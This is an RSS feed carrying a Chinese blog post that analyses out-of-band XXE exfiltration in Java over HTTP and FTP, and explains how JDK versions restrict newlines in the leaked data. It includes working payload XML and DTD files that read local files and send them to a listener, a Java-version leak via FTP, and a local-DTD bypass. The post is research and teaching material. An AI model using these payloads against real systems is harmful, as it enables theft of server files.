<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Xxe on 诗与胡说</title>
    <link>https://kylingit.com/tags/xxe/index.xml</link>
    <description>Recent content in Xxe on 诗与胡说</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>zh_cn</language>
    <copyright>Copyright © 2021 Kylinking</copyright>
    <atom:link href="https://kylingit.com/tags/xxe/index.xml" rel="self" type="application/rss+xml" />
    
    <item>
      <title>JAVA XXE中两种数据传输形式及相关限制</title>
      <link>https://kylingit.com/blog/java-xxe%E4%B8%AD%E4%B8%A4%E7%A7%8D%E6%95%B0%E6%8D%AE%E4%BC%A0%E8%BE%93%E5%BD%A2%E5%BC%8F%E5%8F%8A%E7%9B%B8%E5%85%B3%E9%99%90%E5%88%B6/</link>
      <pubDate>Thu, 07 May 2020 10:40:08 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/java-xxe%E4%B8%AD%E4%B8%A4%E7%A7%8D%E6%95%B0%E6%8D%AE%E4%BC%A0%E8%BE%93%E5%BD%A2%E5%BC%8F%E5%8F%8A%E7%9B%B8%E5%85%B3%E9%99%90%E5%88%B6/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;p&gt;示例代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
doc = dbBuilder.parse(&amp;quot;xxe.xml&amp;quot;);
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;http传输&#34;&gt;HTTP传输&lt;/h3&gt;

&lt;p&gt;xxe_http.xml&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;
        &amp;lt;!DOCTYPE ANY [
                &amp;lt;!ENTITY % dtd SYSTEM &amp;quot;http://127.0.0.1:8080/http.dtd&amp;quot;&amp;gt;
                %dtd;
                %http;
                %send;
                ]&amp;gt;
&amp;lt;ANY&amp;gt;xxe&amp;lt;/ANY&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;http.dtd&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!ENTITY % file SYSTEM &amp;quot;file:///C:/Windows/win.ini&amp;quot;&amp;gt;
&amp;lt;!ENTITY % http &amp;quot;&amp;lt;!ENTITY &amp;amp;#37; send SYSTEM &#39;http://127.0.0.1:8080/%file;&#39;&amp;gt;&amp;quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在&lt;code&gt;dbBuilder.parse(&amp;quot;xxe_http.xml&amp;quot;)&lt;/code&gt;时会产生异常&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;java.net.MalformedURLException: Illegal character in URL
	at sun.net.www.http.HttpClient.getURLFile(Unknown Source)
	at sun.net.www.protocol.http.HttpURLConnection.getRequestURI(Unknown Source)
	at sun.net.www.protocol.http.HttpURLConnection.writeRequests(Unknown Source)
	at sun.net.www.protocol.http.HttpURLConnection.getInputStream(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.setupCurrentEntity(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.startPE(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.skipSeparator(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.scanDecls(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.scanDTDInternalSubset(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$DTDDriver.dispatch(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$DTDDriver.next(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$PrologDriver.next(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.next(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanDocument(Unknown Source)
	at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(Unknown Source)
	at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(Unknown Source)
	at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(Unknown Source)
	at com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(Unknown Source)
	at com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(Unknown Source)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这是因为在&lt;code&gt;rt.jar!/sun/net/www/http/HttpClient.class&lt;/code&gt;中，JDK7u21&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public String getURLFile() throws IOException {
    String str = this.url.getFile();
    if (str == null || str.length() == 0) {
      str = &amp;quot;/&amp;quot;;
    }

    if (this.usingProxy &amp;amp;&amp;amp; !this.proxyDisabled) {
        //...
    }
    if (str.indexOf(&#39;\n&#39;) == -1) {
      return str;
    }
    throw new MalformedURLException(&amp;quot;Illegal character in URL&amp;quot;);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;能够看到在处理httpURL的时候，如果字符串含有换行符(&lt;code&gt;\n&lt;/code&gt;)就会直接抛出异常，而一般通过http外带基本只能拼接到url中，所以碰到需要往外带的数据含有换行符时就会失败&lt;/p&gt;

&lt;p&gt;对&lt;code&gt;\n&lt;/code&gt;的处理应该在比较早的版本就引入了，从commit中看到最早在05年的代码中就有这块处理，所以默认高版本Java应该是对url都有处理的&lt;/p&gt;

&lt;h3 id=&#34;ftp传输&#34;&gt;FTP传输&lt;/h3&gt;

&lt;p&gt;xxe_ftp.xml&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;
&amp;lt;!DOCTYPE ANY [
&amp;lt;!ENTITY % dtd PUBLIC &amp;quot;-//OXML/XXE/EN&amp;quot; &amp;quot;http://127.0.0.1:8080/ftp.dtd&amp;quot;&amp;gt;
        %dtd;%ftp;%send;
        ]&amp;gt;
&amp;lt;ANY&amp;gt;xxe&amp;lt;/ANY&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;ftp.dtd&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!ENTITY % file SYSTEM &amp;quot;file:///D:/data.txt&amp;quot;&amp;gt;
&amp;lt;!ENTITY % ftp &amp;quot;&amp;lt;!ENTITY &amp;amp;#37; send SYSTEM &#39;ftp://fakeuser:%file;@127.0.0.1:2121&#39;&amp;gt;&amp;quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;其中&lt;code&gt;%file;&lt;/code&gt;的引用有两种方式，一个是在PASS字段引用，一个是在URL路径中引用，两种方式存在一定差异，具体可以见下面情况一分析&lt;/p&gt;

&lt;p&gt;先来看触发XXE的过程中FTP客户端与服务端的交互&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;info: FTP: recvd &#39;USER fakeuser&#39;
info: FTP: recvd &#39;PASS testdata&#39;
info: FTP: recvd &#39;TYPE A&#39;
info: FTP: recvd &#39;CWD .&#39;
info: FTP: recvd &#39;EPSV ALL&#39;
info: FTP: recvd &#39;EPSV&#39;
info: FTP: recvd &#39;EPRT |1|127.0.0.1|50130|&#39;
info: FTP: recvd &#39;LIST&#39;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到server会向client发送几个指令，包括要求提供用户名密码(数据在此阶段被带出)，切换路径，列出文件等过程。&lt;/p&gt;

&lt;p&gt;使用Everything自带的FTP服务功能，通过抓包观察正常的FTP交互流程，大致是这样子的&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20200507103436.png&#34; alt=&#34;1575011384700&#34; /&gt;&lt;/p&gt;

&lt;p&gt;注意到发送LIST指令时会返回150和226，那么在xxer中也尽可能模拟这个过程，但是在实际利用中会发现，当xxer服务端接收到LIST指令时，client与server不再有交互了，处于一个互相等待的过程中，具体的原因见下面分析&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sun.net.ftp.impl.FtpClient&lt;/code&gt;处理&lt;code&gt;LIST&lt;/code&gt;指令的过程中存在一个bug（可能与模拟的ftpserver没有支持所有指令有关），&lt;code&gt;FtpClient.openDataConnection()&lt;/code&gt;方法中，&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20200507103807.png&#34; alt=&#34;1573805362144&#34; /&gt;&lt;/p&gt;

&lt;p&gt;当ftpserver收到LIST指令后模拟正常ftp通信返回226代码，然后当前socket进入accept，会创建一个新的Socket，接着通过&lt;code&gt;java.net.ServerSocket#implAccept()&lt;/code&gt;方法接受socket连接&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20200507103808.png&#34; alt=&#34;1573805487835&#34; /&gt;&lt;/p&gt;

&lt;p&gt;但是此时的address是null，也就是说服务端和客户端此时是没有正常建立新的socket的，于是两端都处在等待状态，客户端就会被挂起。&lt;/p&gt;

&lt;p&gt;然而抓包看整个通信过程，client与server的交互与正常的交互是一模一样的，正常ftp服务端收到LIST指令后返回226传输完毕，当前socket会正常关闭，然后等待下一次交互指令，但是在xxer/xxeserv模拟的过程中却会被挂起，这个问题暂时没有解决办法。（passive mode，客户端发送指令使服务端进入被动模式，但没有效果）&lt;/p&gt;

&lt;p&gt;如果这个过程是发生在weblogic端并且Java版本较低时，并不影响数据传输，只是会有一个对ftpserver的长连接，但是如果是在本地通过外部实体的方式解析xml文件，同样会被挂在长连接的过程，于是就有可能无法生成相应的payload&lt;/p&gt;

&lt;p&gt;网上也有相关问题&lt;a href=&#34;https://stackoverflow.com/questions/3666124/ftp-connection-hangs-on-list&#34;&gt;https://stackoverflow.com/questions/3666124/ftp-connection-hangs-on-list&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Tips：如何利用FTP获取目标Java版本&lt;/p&gt;

&lt;p&gt;ftp.dtd&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!ENTITY % file SYSTEM &amp;quot;file:///D:/data.txt&amp;quot;&amp;gt;
&amp;lt;!ENTITY % ftp &amp;quot;&amp;lt;!ENTITY &amp;amp;#37; send SYSTEM &#39;ftp://127.0.0.1:2121/%file;&#39;&amp;gt;&amp;quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;当不指定用户名和密码直接连接FTP时，client默认会以anonymous登录，密码则是client的Java版本，所以可以利用这个方式获取目标服务器的Java版本：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;info: FTP: recvd &#39;USER anonymous&#39;
info: FTP: recvd &#39;PASS Java1.7.0_21@&#39;
info: FTP: recvd &#39;TYPE I&#39;
info: FTP: recvd &#39;EPSV ALL&#39;
info: FTP: recvd &#39;EPSV&#39;
info: FTP: recvd &#39;EPRT |1|127.0.0.1|54357|&#39;
info: FTP: recvd &#39;RETR tesdata&#39;
&lt;/code&gt;&lt;/pre&gt;

&lt;h4 id=&#34;ftp中特殊字符的问题&#34;&gt;FTP中特殊字符的问题&lt;/h4&gt;

&lt;h5 id=&#34;情况一&#34;&gt;情况一&lt;/h5&gt;

&lt;p&gt;各种特殊字符在特定版本下的情况&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;测试的jdk版本：&lt;strong&gt;JDK7u21&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;pwd字段意义：&lt;code&gt;&amp;lt;!ENTITY % ftp &amp;quot;&amp;lt;!ENTITY &amp;amp;#37; send SYSTEM &#39;ftp://fakeuser:%file;@127.0.0.1:2121&#39;&amp;gt;&amp;quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;file字段意义：&lt;code&gt;&amp;lt;!ENTITY % ftp &amp;quot;&amp;lt;!ENTITY &amp;amp;#37; send SYSTEM &#39;ftp://fakeuser:s@127.0.0.1:2121/%file;&#39;&amp;gt;&amp;quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;符号/位置&lt;/th&gt;
&lt;th&gt;\n&lt;/th&gt;
&lt;th&gt;[&lt;/th&gt;
&lt;th&gt;&amp;lsquo;&lt;/th&gt;
&lt;th&gt;&amp;ldquo;&lt;/th&gt;
&lt;th&gt;%&lt;/th&gt;
&lt;th&gt;&amp;amp;&lt;/th&gt;
&lt;th&gt;@&lt;/th&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;?&lt;/th&gt;
&lt;th&gt;/&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;pwd字段&lt;/td&gt;
&lt;td&gt;√&lt;/td&gt;
&lt;td&gt;×&lt;/td&gt;
&lt;td&gt;×&lt;/td&gt;
&lt;td&gt;√&lt;/td&gt;
&lt;td&gt;×(*0)&lt;/td&gt;
&lt;td&gt;×(*0)&lt;/td&gt;
&lt;td&gt;×(*1)&lt;/td&gt;
&lt;td&gt;√&lt;/td&gt;
&lt;td&gt;×&lt;/td&gt;
&lt;td&gt;×&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;file字段&lt;/td&gt;
&lt;td&gt;√&lt;/td&gt;
&lt;td&gt;√&lt;/td&gt;
&lt;td&gt;×&lt;/td&gt;
&lt;td&gt;√&lt;/td&gt;
&lt;td&gt;×&lt;/td&gt;
&lt;td&gt;×&lt;/td&gt;
&lt;td&gt;√&lt;/td&gt;
&lt;td&gt;√(*2)&lt;/td&gt;
&lt;td&gt;√(*3)&lt;/td&gt;
&lt;td&gt;√(*4)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;*0：org.xml.sax.SAXParseException：&lt;code&gt;%&lt;/code&gt; &lt;code&gt;&amp;amp;&lt;/code&gt;都有实际意义，不能被正常引用和替换&lt;/li&gt;
&lt;li&gt;*1：java.net.UnknownHostException：@被当作用户名:密码@主机，不能正确处理&lt;/li&gt;
&lt;li&gt;*2：会截断&lt;code&gt;#&lt;/code&gt;之后的内容，URL锚点&lt;/li&gt;
&lt;li&gt;*3：会截断&lt;code&gt;?&lt;/code&gt;之后的内容，URL参数&lt;/li&gt;
&lt;li&gt;*4：&lt;code&gt;/&lt;/code&gt;分隔的每部分会单独出现在CWD指令中，最后一部分出现在%file&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;解决办法：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;单引号/双引号：能否正常读取取决于参数实体的写法，简单说就是用单引号来防止闭合双引号，用双引号来防止闭合单引号；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;&lt;/code&gt; &lt;code&gt;%&lt;/code&gt; &lt;code&gt;&amp;amp;&lt;/code&gt;等，通过&lt;code&gt;&amp;lt;![CDATA[&amp;lt;&amp;quot;%&#39;&amp;amp;]]&amp;gt;&lt;/code&gt;忽略特殊字符；&lt;/li&gt;
&lt;/ol&gt;

&lt;h5 id=&#34;情况二&#34;&gt;情况二&lt;/h5&gt;

&lt;p&gt;换行符在不同版本下的情况&lt;/p&gt;

&lt;p&gt;jdk7u131与jdk7u141的&lt;a href=&#34;http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/comparison/e890a6aef622/src/share/classes/sun/net/ftp/impl/FtpClient.java&#34;&gt;对比&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20200507103809.png&#34; alt=&#34;1574933020030&#34; /&gt;&lt;/p&gt;

&lt;p&gt;jdk8u131-b08与jdk8u131-b09的&lt;a href=&#34;http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/comparison/81ddd5fc5a4e/src/share/classes/sun/net/ftp/impl/FtpClient.java&#34;&gt;对比&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20200507103810.png&#34; alt=&#34;1574933574859&#34; /&gt;&lt;/p&gt;

&lt;p&gt;因此，通过ftp外带数据时，Java版本 &lt;strong&gt;&amp;lt;7u141-b00&lt;/strong&gt; 或 &lt;strong&gt;&amp;lt;8u131-b09&lt;/strong&gt; 时才不会受文件中&lt;code&gt;\n&lt;/code&gt;的影响。&lt;/p&gt;

&lt;p&gt;相关链接：&lt;a href=&#34;https://bugzilla.redhat.com/show_bug.cgi?id=1443083&#34;&gt;https://bugzilla.redhat.com/show_bug.cgi?id=1443083&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;上面的修复补丁都是在&lt;code&gt;rt.jar!/sun/net/ftp/impl/FtpClient.class#issueCommand()&lt;/code&gt;中增加对换行符的判断，但是四哥在&lt;a href=&#34;http://scz.617.cn/misc/201911011122.txt&#34;&gt;Java底层修改对XXE利用FTP通道的影响&lt;/a&gt;中提到FTP通道被阻断的时候还没有触发到&lt;code&gt;issueCommand()&lt;/code&gt;，这边也来调试一下&lt;/p&gt;

&lt;p&gt;环境JDK8u141，直接断到&lt;code&gt;issueCommand()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;发现在8u141中，对&lt;code&gt;\n&lt;/code&gt;的检查确实是在&lt;code&gt;issueCommand()&lt;/code&gt;，RETR返回的数据中如果有换行符就抛出&lt;code&gt;sun.net.ftp.FtpProtocolException: Illegal FTP command&lt;/code&gt;，那么四哥说的在这之前有一个checkURL方法又是在哪里呢，搜一下java源码确定一下引入checkURL是在哪个版本&lt;/p&gt;

&lt;p&gt;最终找到相关更新：&lt;a href=&#34;http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/diff/5652862ec123/src/share/classes/sun/net/www/protocol/ftp/FtpURLConnection.java&#34;&gt;http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/diff/5652862ec123/src/share/classes/sun/net/www/protocol/ftp/FtpURLConnection.java&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;github上相关&lt;a href=&#34;https://github.com/JetBrains/jdk8u_jdk/commit/4aacc0da12ae2f5bb29aa1b304ba62da23bb024a#diff-3f0521a031333913976fe611f840d0ebR160&#34;&gt;commit&lt;/a&gt;，版本是 jdk8u_jdk-jb8u232-b1638.6，时间是2019年4月份&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20200507103811.png&#34; alt=&#34;1574996536989&#34; /&gt;&lt;/p&gt;

&lt;p&gt;1.8.0_141相关调用栈&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;Exception in thread &amp;quot;main&amp;quot; java.io.IOException: sun.net.ftp.FtpProtocolException: Illegal FTP command
	at sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:518)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.setupCurrentEntity(XMLEntityManager.java:623)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(XMLEntityManager.java:1304)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(XMLEntityManager.java:1240)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.startPE(XMLDTDScannerImpl.java:741)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;1.8.0_232相关调用栈&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;Exception in thread &amp;quot;main&amp;quot; java.lang.IllegalArgumentException: Illegal character in URL
	at sun.net.www.protocol.ftp.FtpURLConnection.checkURL(FtpURLConnection.java:164)
	at sun.net.www.protocol.ftp.FtpURLConnection.&amp;lt;init&amp;gt;(FtpURLConnection.java:188)
	at sun.net.www.protocol.ftp.Handler.openConnection(Handler.java:61)
	at sun.net.www.protocol.ftp.Handler.openConnection(Handler.java:56)
	at java.net.URL.openConnection(URL.java:1001)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.setupCurrentEntity(XMLEntityManager.java:621)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(XMLEntityManager.java:1304)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(XMLEntityManager.java:1240)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.startPE(XMLDTDScannerImpl.java:741)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;综上，利用XXE漏洞通过FTP协议外带数据时，能否成功受Java版本影响，总结如下&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&amp;lt;7u141-b00&lt;/strong&gt; 或 &lt;strong&gt;&amp;lt;8u131-b09&lt;/strong&gt; ：不会受文件中&lt;code&gt;\n&lt;/code&gt;的影响；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;gt;jdk8u131&lt;/strong&gt;：能创建FTP连接，外带文件内容中含有&lt;code&gt;\n&lt;/code&gt;则抛出异常；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;gt;jdk8u232&lt;/strong&gt;：不能创建FTP连接，只要url中含有&lt;code&gt;\n&lt;/code&gt;就会抛出异常；&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;dtd引用中的问题&#34;&gt;dtd引用中的问题&lt;/h2&gt;

&lt;h3 id=&#34;问题1&#34;&gt;问题1&lt;/h3&gt;

&lt;p&gt;内部实体与外部实体不能结合使用&lt;/p&gt;

&lt;p&gt;有一个需要注意的点是，参数实体只能在DTD中引用，举个例子&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!ELEMENT person1 (name, sex, age)&amp;gt;
&amp;lt;!ELEMENT person2 (name, sex, age)&amp;gt;
&amp;lt;!ELEMENT person3 (name, sex, age)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;为了减少重复定义某些元素，可以通过参数实体的方式进行定义，如&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!ELEMENT %res &amp;quot;name, sex, age&amp;quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后通过%res进行引用&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!ELEMENT person1 (%res;)&amp;gt;
&amp;lt;!ELEMENT person2 (%res;)&amp;gt;
&amp;lt;!ELEMENT person3 (%res;)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;但是这种元素替换的方式&lt;strong&gt;仅限于外部DTD&lt;/strong&gt;。在以上过程中，参数实体将元素组保存在DTD的外部子集中，因为内部子集有非常严格的校验，即标记声明中不允许引用参数实体，如下的参数实体引用是会失败的，抛出异常&lt;code&gt;java.io.IOException: org.xml.sax.SAXParseException: The parameter entity reference &amp;quot;%file;&amp;quot; cannot occur within markup in the internal subset of the DTD.&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20200507103812.png&#34; alt=&#34;1574842595707&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这些实体可以定义DTD语法，但不能定义在另一个DTD标签中立即引用，如下面的使用也将失败：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!ENTITY %res &amp;quot;name, sex, age&amp;quot;&amp;gt;
&amp;lt;!ELEMENT person (%res;)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;但是，可以通过在外部参数实体中声明，在内部DTD子集中使用的形式：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!DOCTYPE ANY [
        &amp;lt;!ENTITY % dtd SYSTEM &amp;quot;http://localhost/my.dtd&amp;quot;&amp;gt;
&amp;lt;ANY&amp;gt;xxe&amp;lt;/ANY&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;远程my.dtd&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!ENTITY % file SYSTEM &amp;quot;file:///C:/file&amp;quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;总结，对于上面定义的参数实体，需要注意的点是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;对参数实体的引用只能在DTD中发生；&lt;/li&gt;
&lt;li&gt;参数实体不能在文档主体中使用；&lt;/li&gt;
&lt;li&gt;内部DTD子集中的标记内不允许使用参数实体引用；&lt;/li&gt;
&lt;li&gt;参数实体允许创建其他实体和参数实体；&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;问题2&#34;&gt;问题2&lt;/h3&gt;

&lt;p&gt;无法向外请求dtd&lt;/p&gt;

&lt;p&gt;假如目标系统存在防火墙，无法对外发起连接，就不能通过外部dtd注入了，此时可以利用系统本地已存在的dtd文件，覆盖其中的某个实体，通过报错形式进行利用&lt;/p&gt;

&lt;p&gt;local.dtd&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;

        &amp;lt;!ENTITY % local_dtd SYSTEM &amp;quot;file:///C:\Windows\System32\xwizard.dtd&amp;quot;&amp;gt;

        &amp;lt;!ENTITY % onerrortypes &#39;(aa) #IMPLIED&amp;gt;
        &amp;lt;!ENTITY &amp;amp;#x25; file SYSTEM &amp;quot;file:///D:/data.txt&amp;quot;&amp;gt;
        &amp;lt;!ENTITY &amp;amp;#x25; http &amp;quot;&amp;lt;!ENTITY &amp;amp;#x26;#x25; send SYSTEM &amp;amp;#x27;http://127.0.0.1:8080/&amp;amp;#x25;file;&amp;amp;#x27;&amp;gt;&amp;quot;&amp;gt;
        &amp;amp;#x25;http;
        &amp;amp;#x25;send;
        &amp;lt;!ATTLIST xxe aa &amp;quot;bb&amp;quot; #IMPLIED&#39;&amp;gt;
        %local_dtd;
        ]&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;xxe_http.xml&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;
&amp;lt;!DOCTYPE ANY [
        &amp;lt;!ENTITY % dtd SYSTEM &amp;quot;http://127.0.0.1:8080/local.dtd&amp;quot;&amp;gt;
        %dtd;
        ]&amp;gt;
&amp;lt;ANY&amp;gt;xxe&amp;lt;/ANY&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;更多的本地dtd可以参考&lt;a href=&#34;https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md&#34;&gt;https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;另一个思路：从目标机器上的jar包中发现可以被利用的本地dtd文件&lt;/p&gt;

&lt;p&gt;参考：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation/&#34;&gt;https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/&#34;&gt;https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
  </channel>
</rss>